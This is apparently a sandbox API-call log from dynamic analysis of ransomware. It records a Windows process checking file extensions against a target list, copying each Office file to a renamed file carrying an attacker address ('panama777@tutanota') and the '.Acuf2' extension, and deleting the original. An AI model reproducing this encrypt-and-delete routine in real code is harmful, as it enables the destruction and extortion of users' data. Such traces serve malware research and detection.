	[0263.510] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0263.510] lstrlenW (lpString=".xls") returned 4
	[0263.510] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0263.511] lstrlenW (lpString=".xlsx") returned 5
	[0263.511] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1
	[0263.511] lstrlenW (lpString=".ppt") returned 4
	[0263.511] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0263.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58
	[0263.511] lstrlenW (lpString=".zip") returned 4
	[0263.511] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0263.511] lstrlenW (lpString=".rar") returned 4
	[0263.511] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0263.511] lstrlenW (lpString=".bz2") returned 4
	[0263.511] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0263.511] lstrlenW (lpString=".7z") returned 3
	[0263.511] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0263.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58
	[0263.511] lstrlenW (lpString=".dbf") returned 4
	[0263.511] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0263.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58
	[0263.511] lstrlenW (lpString=".1cd") returned 4
	[0263.511] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0263.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58
	[0263.511] lstrlenW (lpString=".jpg") returned 4
	[0263.511] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0263.512] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=611) returned 1
	[0263.512] CloseHandle (hObject=0x358) returned 1
	[0263.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc")) returned 0x20
	[0263.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0263.517] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.517] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.518] GetLastError () returned 0x0
	[0263.518] ReadFile (in: hFile=0x340, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x263, lpOverlapped=0x0) returned 1
	[0263.519] WriteFile (in: hFile=0x35c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x270, lpOverlapped=0x0) returned 1
	[0263.519] ReadFile (in: hFile=0x340, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.519] WriteFile (in: hFile=0x35c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0263.519] SetEndOfFile (hFile=0x35c) returned 1
	[0263.520] CloseHandle (hObject=0x35c) returned 1
	[0263.520] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.520] SetEndOfFile (hFile=0x340) returned 1
	[0263.522] CloseHandle (hObject=0x340) returned 1
	[0263.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.522] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc")) returned 1
	[0263.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59
	[0263.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59
	[0263.522] lstrlenW (lpString=".doc") returned 4
	[0263.522] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0263.522] lstrlenW (lpString=".docx") returned 5
	[0263.522] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0263.522] lstrlenW (lpString=".pdf") returned 4
	[0263.523] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0263.523] lstrlenW (lpString=".xls") returned 4
	[0263.523] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0263.523] lstrlenW (lpString=".xlsx") returned 5
	[0263.523] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0263.523] lstrlenW (lpString=".ppt") returned 4
	[0263.523] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0263.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59
	[0263.523] lstrlenW (lpString=".zip") returned 4
	[0263.523] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0263.523] lstrlenW (lpString=".rar") returned 4
	[0263.523] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0263.523] lstrlenW (lpString=".bz2") returned 4
	[0263.523] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0263.523] lstrlenW (lpString=".7z") returned 3
	[0263.523] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0263.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59
	[0263.523] lstrlenW (lpString=".dbf") returned 4
	[0263.523] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0263.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59
	[0263.523] lstrlenW (lpString=".1cd") returned 4
	[0263.523] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0263.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59
	[0263.523] lstrlenW (lpString=".jpg") returned 4
	[0263.523] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0263.524] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=203) returned 1
	[0263.524] CloseHandle (hObject=0x340) returned 1
	[0263.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt")) returned 0x20
	[0263.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0263.524] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.524] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.524] GetLastError () returned 0x0
	[0263.524] ReadFile (in: hFile=0x340, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xcb, lpOverlapped=0x0) returned 1
	[0263.525] WriteFile (in: hFile=0x35c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xd0, lpOverlapped=0x0) returned 1
	[0263.526] ReadFile (in: hFile=0x340, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.526] WriteFile (in: hFile=0x35c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0263.526] SetEndOfFile (hFile=0x35c) returned 1
	[0263.526] CloseHandle (hObject=0x35c) returned 1
	[0263.526] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.526] SetEndOfFile (hFile=0x340) returned 1
	[0263.529] CloseHandle (hObject=0x340) returned 1
	[0263.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt")) returned 1
	[0263.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59
	[0263.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59
	[0263.529] lstrlenW (lpString=".doc") returned 4
	[0263.529] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0263.529] lstrlenW (lpString=".docx") returned 5
	[0263.529] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0263.529] lstrlenW (lpString=".pdf") returned 4
	[0263.529] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0263.529] lstrlenW (lpString=".xls") returned 4
	[0263.529] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0263.529] lstrlenW (lpString=".xlsx") returned 5
	[0263.530] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0263.530] lstrlenW (lpString=".ppt") returned 4
	[0263.530] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0263.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59
	[0263.530] lstrlenW (lpString=".zip") returned 4
	[0263.530] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0263.530] lstrlenW (lpString=".rar") returned 4
	[0263.530] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0263.530] lstrlenW (lpString=".bz2") returned 4
	[0263.530] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0263.530] lstrlenW (lpString=".7z") returned 3
	[0263.530] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0263.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59
	[0263.530] lstrlenW (lpString=".dbf") returned 4
	[0263.530] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0263.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59
	[0263.530] lstrlenW (lpString=".1cd") returned 4
	[0263.530] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0263.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59
	[0263.530] lstrlenW (lpString=".jpg") returned 4
	[0263.530] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0263.530] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=114) returned 1
	[0263.530] CloseHandle (hObject=0x340) returned 1
	[0263.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk")) returned 0x20
	[0263.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0263.531] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.531] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.531] GetLastError () returned 0x0
	[0263.531] ReadFile (in: hFile=0x340, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x72, lpOverlapped=0x0) returned 1
	[0263.532] WriteFile (in: hFile=0x35c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0263.533] ReadFile (in: hFile=0x340, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.533] WriteFile (in: hFile=0x35c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0263.533] SetEndOfFile (hFile=0x35c) returned 1
	[0263.533] CloseHandle (hObject=0x35c) returned 1
	[0263.533] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.533] SetEndOfFile (hFile=0x340) returned 1
	[0263.536] CloseHandle (hObject=0x340) returned 1
	[0263.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk")) returned 1
	[0263.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61
	[0263.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61
	[0263.536] lstrlenW (lpString=".doc") returned 4
	[0263.536] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.536] lstrlenW (lpString=".docx") returned 5
	[0263.536] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.536] lstrlenW (lpString=".pdf") returned 4
	[0263.536] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.536] lstrlenW (lpString=".xls") returned 4
	[0263.536] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.536] lstrlenW (lpString=".xlsx") returned 5
	[0263.536] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.536] lstrlenW (lpString=".ppt") returned 4
	[0263.536] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61
	[0263.537] lstrlenW (lpString=".zip") returned 4
	[0263.537] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.537] lstrlenW (lpString=".rar") returned 4
	[0263.537] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.537] lstrlenW (lpString=".bz2") returned 4
	[0263.537] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.537] lstrlenW (lpString=".7z") returned 3
	[0263.537] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61
	[0263.537] lstrlenW (lpString=".dbf") returned 4
	[0263.537] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61
	[0263.537] lstrlenW (lpString=".1cd") returned 4
	[0263.537] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61
	[0263.537] lstrlenW (lpString=".jpg") returned 4
	[0263.537] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.537] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=113) returned 1
	[0263.537] CloseHandle (hObject=0x340) returned 1
	[0263.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk")) returned 0x20
	[0263.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0263.538] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.538] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.538] GetLastError () returned 0x0
	[0263.538] ReadFile (in: hFile=0x340, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x71, lpOverlapped=0x0) returned 1
	[0263.539] WriteFile (in: hFile=0x35c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0263.540] ReadFile (in: hFile=0x340, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.540] WriteFile (in: hFile=0x35c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0263.540] SetEndOfFile (hFile=0x35c) returned 1
	[0263.540] CloseHandle (hObject=0x35c) returned 1
	[0263.540] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.540] SetEndOfFile (hFile=0x340) returned 1
	[0263.542] CloseHandle (hObject=0x340) returned 1
	[0263.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk")) returned 1
	[0263.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61
	[0263.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61
	[0263.543] lstrlenW (lpString=".doc") returned 4
	[0263.543] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.543] lstrlenW (lpString=".docx") returned 5
	[0263.543] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.543] lstrlenW (lpString=".pdf") returned 4
	[0263.543] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.543] lstrlenW (lpString=".xls") returned 4
	[0263.543] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.543] lstrlenW (lpString=".xlsx") returned 5
	[0263.543] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.543] lstrlenW (lpString=".ppt") returned 4
	[0263.543] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61
	[0263.543] lstrlenW (lpString=".zip") returned 4
	[0263.543] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.543] lstrlenW (lpString=".rar") returned 4
	[0263.543] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.543] lstrlenW (lpString=".bz2") returned 4
	[0263.543] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.544] lstrlenW (lpString=".7z") returned 3
	[0263.544] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61
	[0263.544] lstrlenW (lpString=".dbf") returned 4
	[0263.544] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61
	[0263.544] lstrlenW (lpString=".1cd") returned 4
	[0263.544] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61
	[0263.544] lstrlenW (lpString=".jpg") returned 4
	[0263.544] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.551] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=401792) returned 1
	[0263.551] CloseHandle (hObject=0x220) returned 1
	[0263.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll")) returned 0x20
	[0263.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59
	[0263.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59
	[0263.551] lstrlenW (lpString=".doc") returned 4
	[0263.551] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0263.551] lstrlenW (lpString=".docx") returned 5
	[0263.551] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0263.551] lstrlenW (lpString=".pdf") returned 4
	[0263.551] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0263.551] lstrlenW (lpString=".xls") returned 4
